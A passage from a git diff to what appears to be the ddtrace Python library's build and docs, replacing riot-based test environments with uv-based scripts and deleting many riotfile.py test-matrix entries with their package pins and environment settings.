(in-tree editable builds may not reproduce wheel-specific issues). - For linking changes, have the symbols been verified present in the final `.so`? @@ -495,4 +495,3 @@ def __dealloc__(self): SampleManager.drop_sample(self.ptr) self.ptr = NULL ``` - diff --git a/docs/releasenotes.rst b/docs/releasenotes.rst index a34729b931b..77f81d2c8c3 100644 --- a/docs/releasenotes.rst +++ b/docs/releasenotes.rst @@ -125,9 +125,9 @@ Bad — leaks internal root cause and mechanism instead of the symptom:: Generating a Release Note ------------------------- -You can generate a release note with the command line tool ``reno`` via ``riot``:: +You can generate a release note with the command line tool ``reno`` in the test container:: - $ riot run reno new + $ scripts/ddtest reno new The ```` is used as the prefix for a new file created in ``releasenotes/notes``. The ```` is used internally and is not visible in the the product documentation. diff --git a/docs/troubleshooting.rst b/docs/troubleshooting.rst index 9b30d00ab29..4ab719b9882 100644 --- a/docs/troubleshooting.rst +++ b/docs/troubleshooting.rst @@ -123,16 +123,16 @@ Note: The ``--all`` option also removes build artifacts (egg-info, dist, .eggs, Omitting it removes Rust targets and native extensions (``.so``, ``.dylib``) only. -ModuleNotFoundError when running tests with riot -================================================ +ModuleNotFoundError when running tests +======================================= If you run a test and encounter this error ``ModuleNotFoundError: No module named ''`` -Your base virtual environment was likely created without a package. -Remove all the ``.riot/venv*`` directories and run the tests without the -s option. +The selected uv environment may be stale or its lock may not include the package. +Remove its directory under ``.cache/uv-test-environments`` and run it again: -``scripts/ddtest DD_TRACE_AGENT_URL=http://localhost:9126 riot -v run -p3.12 --pass-env `` +``scripts/run-tests --suite --venv `` -This will re-create all your virtual environments and hopefully install package in the correct venv. +If the dependency declaration changed, regenerate that suite with ``scripts/test-env lock ``. Still having issues? diff --git a/pyproject.toml b/pyproject.toml index d8293898225..a1e75e48ec4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -139,6 +139,7 @@ max-line-length = 120 exclude = ''' ( \.worktrees/ + | \.cache/ | .venv* | \.sg | \.riot diff --git a/riotfile.py b/riotfile.py index 10c3c9e6eaf..b82df570cd8 100644 --- a/riotfile.py +++ b/riotfile.py @@ -134,4479 +134,44 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT env=_base_env, venvs=[ Venv( - name="meta-testing", - pys=["3.10"], - command="pytest {cmdargs} tests/meta", - env={ - "DD_CIVISIBILITY_FLAKY_RETRY_ENABLED": "0", - }, - ), - Venv( - name="build_docs", - command="scripts/docs/build.sh", - pys=["3.10"], - env={ - "DD_TRACE_ENABLED": "false", - }, - pkgs={ - "reno": "~=3.5.0", - "sphinx": "~=4.0", - "sphinxcontrib-applehelp": "<1.0.8", - "sphinxcontrib-devhelp": "<1.0.6", - "sphinxcontrib-htmlhelp": "<2.0.5", - "sphinxcontrib-serializinghtml": "<1.1.10", - "sphinxcontrib-qthelp": "<1.0.7", - "sphinxcontrib-spelling": "==7.7.0", - "PyEnchant": "==3.2.2", - "sphinx-copybutton": "==0.5.1", - # Later release of furo breaks formatting for code blocks - "furo": "<=2023.05.20", - "standard-imghdr": latest, - }, - ), - Venv( - name="appsec", - pys=select_pys(), - command="pytest {cmdargs} tests/appsec/appsec/", - pkgs={ - "requests": latest, - "docker": latest, - }, - env={ - "DD_CIVISIBILITY_ITR_ENABLED": "0", - }, - ), - Venv( - name="appsec_integrations_packages", - pys=select_pys(), - command="pytest -v tests/appsec/integrations/packages_tests/", - pkgs={ - "gevent": latest, - "pytest-xdist": latest, - "pytest-asyncio": latest, - "requests": latest, - "SQLAlchemy": latest, - "psycopg2-binary": "~=2.9.9", - "psycopg": latest, - "pymysql": latest, - "mysqlclient": "==2.1.1", - "mysql-connector-python": latest, - "MarkupSafe": "~=2.1.1", - "Werkzeug": "~=3.0.6", - "babel": latest, - }, - env={ - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_VULNERABILITIES_PER_REQUEST": "100000", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - }, - ), - Venv( - name="appsec_integrations_stripe", - pys=select_pys(), - command="pytest {cmdargs} -v tests/appsec/integrations/stripe_tests/ ", - pkgs={ - "stripe": [latest, "~=11.0", "~=12.0", "~=13.0"], - "vcrpy": latest, - }, - ), - Venv( - name="appsec_iast_packages", - pys=["3.11", "3.12", "3.13", "3.14"], - command="pytest -n auto --dist=worksteal {cmdargs} -vvv -rxf tests/appsec/iast_packages/", - pkgs={ - "requests": latest, - "flask": latest, - "pytest-xdist": latest, - # Pinned to the version we previously vendored, to avoid API drift. - "psutil": "==7.1.3", - }, - env={ - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec", - "DD_IAST_DEDUPLICATE_ENABLED": "false", - "DD_IAST_REQUEST_SAMPLING": "100", - # Prevents .pyc write races when xdist workers run subprocesses that all - # import ddtrace from the same editable install simultaneously. - "PYTHONDONTWRITEBYTECODE": "1", - }, - ), - Venv( - name="iast_tdd_propagation", - pys=select_pys(), - command="pytest {cmdargs} tests/appsec/iast_tdd_propagation/", - pkgs={ - "requests": latest, - "flask": latest, - "cryptography": latest, - "sqlalchemy": "~=2.0.23", - "pony": latest, - "aiosqlite": latest, - "tortoise-orm": latest, - "peewee": latest, - # Pinned to the version we previously vendored, to avoid API drift. - "psutil": "==7.1.3", - }, - env={ - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_VULNERABILITIES_PER_REQUEST": "100000", - "DD_IAST_DEDUPLICATE_ENABLED": "false", - }, - ), - Venv( - name="iast_aggregated_leak_testing", - pys=["3.10", "3.11", "3.12"], - command="pytest --no-cov tests/appsec/iast_aggregated_memcheck/test_aggregated_memleaks.py", - env={ - "DD_IAST_ENABLED": "true", - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.,scripts.iast.", - }, - pkgs={ - "anyio": latest, - "pydantic": latest, - "pydantic-settings": latest, - "pytest-asyncio": latest, - "requests": latest, - }, - ), - Venv( - name="appsec_integrations_django", - command="pytest -vvv {cmdargs} tests/appsec/integrations/django_tests/", - pkgs={ - "requests": latest, - "gunicorn": latest, - "gevent": latest, - "pylibmc": latest, - "PyYAML": latest, - "dill": latest, - "bcrypt": "==4.2.1", - "pytest-django[testing]": "==3.10.0", - # Pinned to the version we previously vendored, to avoid API drift. - "psutil": "==7.1.3", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - }, - venvs=[ - Venv( - pys=["3.9"], - pkgs={"django": "~=2.2"}, - ), - Venv( - pys=select_pys(max_version="3.13"), - pkgs={"django": "~=3.2", "legacy-cgi": latest}, - ), - Venv( - pys=select_pys(max_version="3.13"), - pkgs={"django": "==4.0.10", "legacy-cgi": latest}, - ), - Venv( - pys=select_pys(max_version="3.13"), - pkgs={"django": "~=4.2"}, - ), - Venv( - pys=select_pys(max_version="3.13"), - pkgs={"django": "~=4.2", "legacy-cgi": latest}, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={"django": "~=5.2"}, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={"django": latest}, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={"django": latest, "legacy-cgi": latest}, - ), - ], - ), - Venv( - name="appsec_integrations_fastapi", - command="pytest -vvv {cmdargs} tests/appsec/integrations/fastapi_tests/", - pkgs={ - "requests": latest, - "python-multipart": latest, - "jinja2": latest, - "httpx": "<0.28.0", - "uvicorn": "==0.33.0", - "pytest-asyncio": latest, - # Pinned to the version we previously vendored, to avoid API drift. - "psutil": "==7.1.3", - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_VULNERABILITIES_PER_REQUEST": "100000", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={"fastapi": "==0.86.0", "anyio": "==3.7.1"}, - ), - Venv( - pys=["3.10", "3.14"], - pkgs={"fastapi": "==0.141.1"}, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={"fastapi": "~=0.114.2", "mcp": "==1.20.0"}, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={"fastapi": latest, "pydantic": "~=2.12.1", "mcp": "==1.20.0"}, - ), - ], - ), - Venv( - name="appsec_iast_default", - command="pytest -v -n auto --dist=worksteal {cmdargs} tests/appsec/iast/", - pkgs={ - "requests": latest, - "urllib3": latest, - "cryptography": latest, - "simplejson": latest, - "grpcio": latest, - "pytest-asyncio": latest, - "protobuf": latest, - "pytest-xdist": latest, - # pip 25+ changed dist-info registration, causing pip to not appear in - # packages_distributions(), which breaks IAST first-party detection tests. - # TODO: fix the first-party detection logic in iastpatch.c - "pip": "<25", - }, - env={ - "BROWSER": "true", # Prevent webbrowser tests from launching the host browser. - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - "DD_CIVISIBILITY_ITR_ENABLED": "0", - "PYTHONFAULTHANDLER": "1", - }, - venvs=[ - Venv( - pys=select_pys(max_version="3.13"), - pkgs={ - "pycryptodome": latest, - }, - ), - Venv( - pys=select_pys(min_version="3.14"), - ), - ], - ), - Venv( - name="tracer", - command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/", - pkgs={ - "msgpack": latest, - "coverage": latest, - "attrs": latest, - "structlog": latest, - "httpretty": latest, - "wheel": latest, - "fastapi": latest, - "httpx": "<0.28.0", - "pytest-randomly": latest, - "setuptools": latest, - "boto3": latest, - "freezegun": latest, - }, - env={ - "DD_CIVISIBILITY_LOG_LEVEL": "none", - "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", - "_DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS": "50", - }, - venvs=[ - Venv(pys=select_pys()), - # This test variant ensures tracer tests are compatible with both 64bit trace ids. - # 128bit trace ids are tested by the default case above. - Venv( - name="tracer-128-bit-traceid-disabled", - pys=MAX_PYTHON_VERSION, - env={ - "DD_TRACE_128_BIT_TRACEID_GENERATION_ENABLED": "false", - }, - ), - Venv( - name="tracer-python-optimize", - env={"PYTHONOPTIMIZE": "1"}, - # Test with the latest version of Python only - pys=MAX_PYTHON_VERSION, - venvs=[ - Venv(pys=select_pys()), - ], - ), - Venv( - name="tracer-legacy-attrs", - pkgs={"cattrs": "<23.2.0", "attrs": "==22.1.0"}, - # Test with the min version of Python only, attrs 20.1.0 is not compatible with Python 3.12 - pys=MIN_PYTHON_VERSION, - ), - Venv( - name="tracer-uwsgi", - command="pytest -v {cmdargs} tests/tracer/test_uwsgi_shutdown.py", - pys=select_pys(max_version="3.13"), # uwsgi<2.0.30 is not compatible with Python 3.14 - pkgs={"uwsgi": latest}, - ), - ], - ), - Venv( - name="telemetry", - command="pytest {cmdargs} tests/telemetry/", - pkgs={ - "requests": latest, - "gunicorn": latest, - "httpretty": "<1.1", - "pytest-randomly": latest, - "xmltodict": latest, - "django": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.14"), - pkgs={ - "flask": ">=3.1.2", - }, - ), - Venv( - pys=select_pys(max_version="3.13"), - pkgs={ - "flask": "<=2.2.3", - "werkzeug": "<2.0", - "markupsafe": "<2.0", - }, - ), - ], - ), - Venv( - name="integration", - # Enabling coverage for integration tests breaks certain tests in CI - # Also, running two separate pytest sessions, the ``civisibility`` one with --no-ddtrace - command="pytest -vv --no-cov --ignore-glob='*civisibility*' {cmdargs} tests/integration/", - pkgs={"msgpack": [latest], "coverage": latest, "pytest-randomly": latest}, - pys=select_pys(), - venvs=[ - Venv( - name="integration-latest", - env={ - "AGENT_VERSION": "latest", - }, - ), - Venv( - name="integration-snapshot", - env={ - "AGENT_VERSION": "testagent", - }, - ), - ], - ), - Venv( - name="integration-civisibility", - # Enabling coverage for integration tests breaks certain tests in CI - # Also, running two separate pytest sessions, the ``civisibility`` one with --no-ddtrace - command="pytest --no-cov {cmdargs} tests/integration/test_integration_civisibility.py", - pkgs={"msgpack": [latest], "coverage": latest, "pytest-randomly": latest}, - pys=select_pys(), - venvs=[ - Venv( - name="integration-latest-civisibility", - env={ - "AGENT_VERSION": "latest", - }, - ), - Venv( - name="integration-snapshot-civisibility", - env={ - "AGENT_VERSION": "testagent", - }, - ), - ], - ), - Venv( - name="datastreams", - command="pytest --no-cov {cmdargs} tests/datastreams/", - pkgs={ - "msgpack": [latest], - "pytest-randomly": latest, - }, - pys=select_pys(), - venvs=[ - Venv( - name="datastreams-latest", - env={ - "AGENT_VERSION": "latest", - }, - ), - ], - ), - # Internal coverage (dd_coverage to distinguish from regular coverage) - # has version-specific code so tests are run across all supported versions - Venv( - name="dd_coverage", - command="pytest --no-cov {cmdargs} tests/coverage -s", - pys=select_pys(), - ), - Venv( - name="detect_global_locks", - pys=select_pys(), - command="python -X importtime scripts/global-lock-detection.py", - env={ - "DD_DYNAMIC_INSTRUMENTATION_ENABLED": "1", - "DD_CODE_ORIGIN_FOR_SPANS_ENABLED": "1", - "DD_EXCEPTION_REPLAY_ENABLED": "1", - "DD_APPSEC_ENABLED": "1", - "DD_APPSEC_SCA_ENABLED": "1", - "DD_IAST_ENABLED": "1", - "DD_RUNTIME_METRICS_ENABLED": "1", - "DD_PROFILING_ENABLED": "1", - "DD_PROFILING_LOCK_ENABLED": "0", # This patches the lock class - "DD_REMOTE_CONFIGURATION_ENABLED": "1", - }, - ), - Venv( - name="crashtracker", - env={ - "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", - "DD_CIVISIBILITY_ITR_ENABLED": "0", - }, - command="pytest -v {cmdargs} tests/crashtracker/", - pkgs={ - "pytest-randomly": latest, - "python-json-logger": "==2.0.7", - "pyfakefs": latest, - "pytest-asyncio": "~=0.23.7", - "setuptools": "<82", - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - ), - Venv( - pys=select_pys(min_version="3.12"), - env={ - "PYTHONWARNINGS": "ignore:This process:DeprecationWarning::", - }, - pkgs={ - "zope-event": "==5.0", - "zope-interface": "==7.2", - }, - ), - ], - ), - Venv( - name="wrapping", - env={ - # Opt into the future @tracer.wrap span-name behaviour so wrapping a - # method does not emit a DDTraceDeprecationWarning per test. - "DD_TRACE_WRAP_SPAN_NAME_INCLUDE_CLASS": "true", - }, - command="pytest -v -n auto --dist=worksteal {cmdargs} tests/wrapping/", - pys=select_pys(), - pkgs={ - "pytest-xdist": latest, - "wrapt": [latest, "<2.0.0"], - }, - ), - Venv( - name="internal", - env={ - "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", - "DD_CIVISIBILITY_ITR_ENABLED": "0", - }, - command="pytest -v -n auto --dist=worksteal {cmdargs} tests/internal/", - pkgs={ - "httpretty": latest, - "gevent": latest, - "pytest-randomly": latest, - "pytest-xdist": latest, - "python-json-logger": "==2.0.7", - "pyfakefs": latest, - "pytest-benchmark": latest, - "wrapt": [latest, "<2.0.0"], - "uwsgi": latest, - # exercises the module-cloning regression test for yaml/_yaml - "PyYAML": latest, - # Ray Serve cloudpickles objects that reference the global config - # (which holds forksafe locks); test_forksafe.py exercises that path. - "cloudpickle": latest, - }, + name="opentracer", + pkgs={"opentracing": latest, "pytest-randomly": latest}, venvs=[ Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "pytest-asyncio": "~=0.23.7", - # pkg_resources was removed in v82.0.0 - "setuptools": "<82", - }, + pys=select_pys(), + command="pytest {cmdargs} tests/opentracer/core", ), Venv( - pys=select_pys(min_version="3.12"), - env={ - # Python 3.12+ emits a DeprecationWarning when os.fork() is called - # from a multi-threaded process. The forksafe tests intentionally - # fork from a multi-threaded subprocess (ddtrace starts background - # threads on import), so suppress the warning to avoid spurious - # stderr output that causes @pytest.mark.subprocess() to fail. - "PYTHONWARNINGS": "ignore:This process:DeprecationWarning::", - }, - pkgs={ - "pytest-asyncio": "~=0.23.7", - # pkg_resources was removed in v82.0.0 - "setuptools": "<82", - "zope-event": "==5.0", - "zope-interface": "==7.2", - }, + pys=select_pys(), + command="pytest {cmdargs} tests/opentracer/test_tracer_asyncio.py", + pkgs={"pytest-asyncio": "==0.21.1"}, ), - ], - ), - Venv( - name="lib_injection", - command="pytest {cmdargs} tests/lib_injection/", - pys=select_pys(), - pkgs={ - "PyYAML": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="gevent", - command="pytest {cmdargs} tests/contrib/gevent", - pkgs={ - "elasticsearch": latest, - "pynamodb": "<6.0", - "pytest-randomly": latest, - "setuptools": "<80", - }, - venvs=[ Venv( - pkgs={ - "aiobotocore": "<=2.3.1", - "aiohttp": latest, - "botocore": latest, - "requests": latest, - "opensearch-py": latest, - }, + command="pytest {cmdargs} tests/opentracer/test_tracer_gevent.py", venvs=[ Venv( pys="3.9", - pkgs={ - # https://github.com/gevent/gevent/issues/2076 - "gevent": ["~=21.1.0", "<21.8.0"], - "greenlet": "~=1.0", - }, + pkgs={"gevent": latest, "greenlet": latest}, ), Venv( - # gevent added support for Python 3.10 in 21.8.0 pys="3.10", - pkgs={ - "gevent": ["~=21.12.0", latest], - }, + pkgs={"gevent": latest}, ), Venv( pys="3.11", - pkgs={ - "gevent": ["~=22.10.0", latest], - }, + pkgs={"gevent": latest}, + ), + Venv( + pys="3.12", + pkgs={"gevent": "~=23.9.0"}, ), Venv( - pys=select_pys(min_version="3.12"), - pkgs={ - "gevent": [latest], - }, + pys=select_pys(min_version="3.13"), + pkgs={"gevent": latest}, ), ], ), ], ), - Venv( - name="runtime", - command="pytest {cmdargs} tests/runtime/", - pys=select_pys(), - pkgs={ - "msgpack": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="smoke_test", - command="python tests/smoke_test.py {cmdargs}", - pys=select_pys(), - ), - Venv( - name="ddtracerun", - command="pytest {cmdargs} --no-cov tests/commands/test_runner.py", - pys=select_pys(), - pkgs={ - "redis": latest, - "gevent": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="debugger", - command="pytest {cmdargs} tests/debugging/", - pkgs={ - "msgpack": latest, - "httpretty": latest, - "typing-extensions": latest, - "pytest-asyncio": latest, - "pytest-benchmark": latest, - "pytest-memray": latest, - "numpy": latest, - }, - pys=select_pys(), - ), - Venv( - name="errortracker", - command="pytest {cmdargs} tests/errortracking/", - pkgs={ - "flask": latest, - }, - pys=select_pys(min_version="3.10"), - ), - Venv( - name="vendor", - command="pytest {cmdargs} tests/vendor/", - pys=select_pys(), - pkgs={ - "msgpack": ["~=1.0.0", latest], - "pytest-randomly": latest, - }, - ), - Venv( - name="vertica", - command="pytest {cmdargs} tests/contrib/vertica/", - pys=select_pys(max_version="3.9"), - pkgs={ - "vertica-python": [">=0.6.0,<0.7.0", ">=0.7.0,<0.8.0"], - "pytest-randomly": latest, - }, - # venvs=[ - # FIXME: tests fail on vertica 1.x - # Venv( - # # vertica-python added support for Python 3.9/3.10 in 1.0 - # pys=select_pys(min_version="3.9", max_version="3.10"), - # pkgs={"vertica-python": ["~=1.0", latest]}, - # ), - # Venv( - # # vertica-python added support for Python 3.11 in 1.2 - # pys="3.11", - # pkgs={"vertica-python": ["~=1.2", latest]}, - # ), - # ], - ), - Venv( - name="wait", - command="python tests/wait-for-services.py {cmdargs}", - # Default Python 3 (3.10) collections package breaks with kombu/vertica, so specify Python 3.9 instead. - pys="3.9", - create=True, - skip_dev_install=True, - pkgs={ - "azure-data-tables": latest, - "azure-storage-blob": latest, - "azure-storage-queue": latest, - "cassandra-driver": latest, - "psycopg2-binary": latest, - "mysql-connector-python": "!=8.0.18", - "vertica-python": ">=0.6.0,<0.7.0", - "kombu": ">=4.2.0,<4.3.0", - "pymssql": latest, - "pytest-randomly": latest, - "redis": latest, - "requests": latest, - }, - env={ - "DD_TRACE_AGENT_URL": "http://testagent:9126", - "AGENT_VERSION": "testagent", - }, - ), - Venv( - name="httplib", - command="pytest {cmdargs} tests/contrib/httplib", - pkgs={ - "pytest-randomly": latest, - }, - pys=select_pys(), - ), - Venv( - name="logging", - command="pytest -n auto --dist=worksteal {cmdargs} tests/contrib/logging", - pkgs={ - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - pys=select_pys(), - ), - Venv( - name="falcon", - command="pytest {cmdargs} tests/contrib/falcon", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "falcon": [ - "~=3.0.0", - "~=3.0", # latest 3.x - latest, - ], - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "falcon": [ - "~=4.0", # latest 4.x - latest, - ], - }, - ), - ], - ), - Venv( - name="bottle", - pkgs={ - "WebTest": latest, - "pytest-randomly": latest, - }, - venvs=[ - Venv( - command="pytest {cmdargs} --ignore='tests/contrib/bottle/test_autopatch.py' tests/contrib/bottle/", - pys=select_pys(max_version="3.9"), - pkgs={"bottle": [">=0.12,<0.13", latest]}, - ), - Venv( - command="python tests/ddtrace_run.py pytest {cmdargs} tests/contrib/bottle/test_autopatch.py", - env={"DD_SERVICE": "bottle-app"}, - pys=select_pys(max_version="3.9"), - pkgs={"bottle": [">=0.12,<0.13", latest]}, - ), - ], - ), - Venv( - name="celery", - command="pytest {cmdargs} tests/contrib/celery", - pkgs={ - "more_itertools": "<8.11.0", - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=["3.9"], - env={ - # https://docs.celeryproject.org/en/v5.0.5/userguide/testing.html#enabling - "PYTEST_PLUGINS": "celery.contrib.pytest", - }, - pkgs={ - "celery": [ - "~=5.2", - latest, - ], - "redis": "~=3.5", - }, - ), - Venv( - pys=select_pys(min_version="3.10"), - env={ - # https://docs.celeryproject.org/en/v5.0.5/userguide/testing.html#enabling - "PYTEST_PLUGINS": "celery.contrib.pytest", - }, - pkgs={ - "celery[redis]": [ - latest, - ], - }, - ), - ], - ), - Venv( - name="cherrypy", - command="python -m pytest {cmdargs} tests/contrib/cherrypy", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(max_version="3.10"), - pkgs={ - "cherrypy": [ - "~=17.0.0", - ">=17,<18", - ], - "more_itertools": "<8.11.0", - "typing-extensions": latest, - }, - ), - Venv( - # cherrypy added support for Python 3.11 in 18.7 - pys=select_pys(), - pkgs={ - "cherrypy": [">=18.0,<19", latest], - "more_itertools": "<8.11.0", - }, - ), - ], - ), - Venv( - name="pymongo", - command="pytest {cmdargs} tests/contrib/pymongo", - pkgs={ - "mongoengine": latest, - "pytest-randomly": latest, - }, - venvs=[ - # ddtrace patches different methods for the following pymongo version: - # pymmongo<3.9, 3.9<=pymongo<3.12, 3.12<=pymongo<4.5, pymongo>=4.5 - # To get full test coverage we must test all these version ranges - Venv( - pys=["3.9"], - pkgs={"pymongo": ["~=3.8.0", "~=3.9.0", "~=3.11", "~=4.0", latest]}, - ), - Venv( - # pymongo added support for Python 3.10 in 3.12.1 - # pymongo added support for Python 3.11 in 3.12.3 - pys=select_pys(min_version="3.10"), - pkgs={"pymongo": ["~=3.12.3", "~=4.0", latest]}, - ), - ], - ), - Venv( - name="ddtrace_api", - command="pytest {cmdargs} tests/contrib/ddtrace_api", - pkgs={"ddtrace-api": "==0.0.1", "requests": latest}, - pys=select_pys(), - ), - # Django Python version support - # 2.2 3.9 - # 3.2 3.9, 3.10 - # 4.0 3.9, 3.10 - # 4.1 3.9, 3.10, 3.11 - # 4.2 3.9, 3.10, 3.11, 3.12 - # 5.0 3.10, 3.11, 3.12 - # 5.1 3.10, 3.11, 3.12, 3.13 - # 5.2 3.10, 3.11, 3.12, 3.13 - # 6.0 3.12, 3.13 - # 6.1 3.12, 3.13, 3.14 - # Source: https://docs.djangoproject.com/en/dev/faq/install/#what-python-version-can-i-use-with-django - Venv( - name="django", - command="pytest {cmdargs} tests/contrib/django", - pkgs={ - "django-redis": ">=4.5,<4.6", - "django-pylibmc": ">=0.6,<0.7", - "daphne": [latest], - "requests": [latest], - "redis": ">=2.10,<2.11", - "psycopg2-binary": [">=2.8.6"], # We need <2.9.0 for Python 2.7, and >2.9.0 for 3.9+ - "pytest-django[testing]": "==3.10.0", - # async ASGI tests (#17404 / #17728) silently skip without it. - "pytest-asyncio": latest, - # setuptools 80 removed `pkg_resources`, still imported by django-q[2]. - "setuptools": "<80", - "pylibmc": latest, - "python-memcached": latest, - "pytest-randomly": latest, - "spyne": latest, - "zeep": latest, - "bcrypt": "==4.2.1", - }, - env={ - "DD_CIVISIBILITY_ITR_ENABLED": "0", - "DD_IAST_REQUEST_SAMPLING": "100", # Override default 30% to analyze all IAST requests - # TODO: Remove once pkg_resources warnings are no longer emitted from this internal module - "PYTHONWARNINGS": "ignore::UserWarning:ddtrace.internal.module", - }, - venvs=[ - Venv( - # django dropped support for Python 3.9 in 5.0 - # limit tests to only the main django test files to avoid import errors due to some tests - # targeting newer django versions - pys=["3.9"], - command="pytest {cmdargs} --ignore=tests/contrib/django/test_django_snapshots.py \ - --ignore=tests/contrib/django/test_django_wsgi.py tests/contrib/django", - pkgs={ - "django": ["~=2.2.0", "~=3.0.0", "~=4.0"], - "channels": latest, - "django-q": latest, - }, - ), - Venv( - # django started supporting psycopg3 in 4.2 for versions >3.1.8 - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "django": ["~=4.2"], - "psycopg": latest, - "channels": latest, - "django-q": latest, - }, - ), - Venv( - # django 5.x (#17728 coverage). Uses django-q2 because django-q imports - # django.utils.baseconv (removed in Django 5.0). Postgres-touching tests - # and Django-4.2-specific test_cached_view are skipped because Django 5.0 - # dropped Postgres 12, but the suite's docker-compose still runs Postgres 12. - pys=select_pys(min_version="3.10", max_version="3.13"), - command=( - "pytest {cmdargs} " - "--ignore=tests/contrib/django/test_django_dbm.py " - "--ignore=tests/contrib/django/test_django_snapshots.py " - "-k 'not test_user_name_included and not test_user_name_excluded " - "and not test_cached_view' " - "tests/contrib/django" - ), - pkgs={ - "django": ["~=5.1"], - "psycopg": latest, - "channels": latest, - "django-q2": latest, - }, - ), - ], - ), - Venv( - name="django:django_hosts", - command="pytest {cmdargs} tests/contrib/django_hosts", - pkgs={ - "pytest-django[testing]": [ - "==3.10.0", - ], - "pytest-randomly": latest, - "setuptools": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={ - "django_hosts": "~=4.0", - "django": "~=3.2", - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "django_hosts": ["~=5.0", latest], - "django": "~=4.0", - }, - ), - ], - ), - Venv( - name="django:djangorestframework", - command="pytest -n 8 --dist=worksteal {cmdargs} tests/contrib/djangorestframework", - pkgs={ - "pytest-django[testing]": "==3.10.0", - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - venvs=[ - Venv( - # djangorestframework dropped support for Django 2.x in 3.14 - pys=["3.9"], - pkgs={ - "django": ">=2.2,<2.3", - "djangorestframework": ["==3.12.4", "==3.13.1"], - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={ - "django": "~=3.2", - "djangorestframework": ">=3.11,<3.12", - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "django": ["~=4.0"], - "djangorestframework": ["~=3.13", latest], - }, - ), - ], - ), - Venv( - name="django:celery", - command="pytest {cmdargs} tests/contrib/django_celery", - pkgs={ - # The test app was built with Django 2. We don't need to test - # other versions as the main purpose of these tests is to ensure - # an error-free interaction between Django and Celery. We find - # that we currently have no reasons for expanding this matrix. - "celery": latest, - "gevent": latest, - "requests": latest, - "typing-extensions": latest, - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=["3.9"], - pkgs={ - "sqlalchemy": "~=1.2.18", - "django": "~=2.2.0", - }, - ), - Venv( - pys="3.12", - pkgs={ - "sqlalchemy": latest, - "django": latest, - }, - ), - ], - ), - Venv( - name="dramatiq", - command="pytest {cmdargs} tests/contrib/dramatiq", - venvs=[ - Venv( - pys=["3.9"], - pkgs={ - "dramatiq": "~=1.10.0", - "pytest": latest, - "redis": latest, - "pika": latest, - }, - ), - Venv( - pys=select_pys(max_version="3.13"), - pkgs={"dramatiq": latest, "pytest": latest, "redis": latest}, - ), - ], - ), - Venv( - name="elasticsearch", - command="pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(), - pkgs={ - "elasticsearch": [ - "~=7.13.0", # latest to support unofficial Elasticsearch servers, released Jul 2021 - "~=7.17", - "==8.0.1", # 8.0.0 has a bug that interferes with tests - latest, - ] - }, - ), - Venv(pys=select_pys(), pkgs={"elasticsearch1": ["~=1.10.0"]}), - Venv(pys=select_pys(), pkgs={"elasticsearch2": ["~=2.5.0"]}), - Venv(pys=select_pys(), pkgs={"elasticsearch5": ["~=5.5.0"]}), - Venv(pys=select_pys(), pkgs={"elasticsearch6": ["~=6.8.0"]}), - Venv(pys=select_pys(), pkgs={"elasticsearch7": ["~=7.13.0", latest]}), - Venv(pys=select_pys(), pkgs={"elasticsearch8": ["~=8.0.1", latest]}), - ], - ), - Venv( - name="elasticsearch:multi", - command="pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch_multi.py", - pys=select_pys(), - pkgs={ - "elasticsearch": latest, - 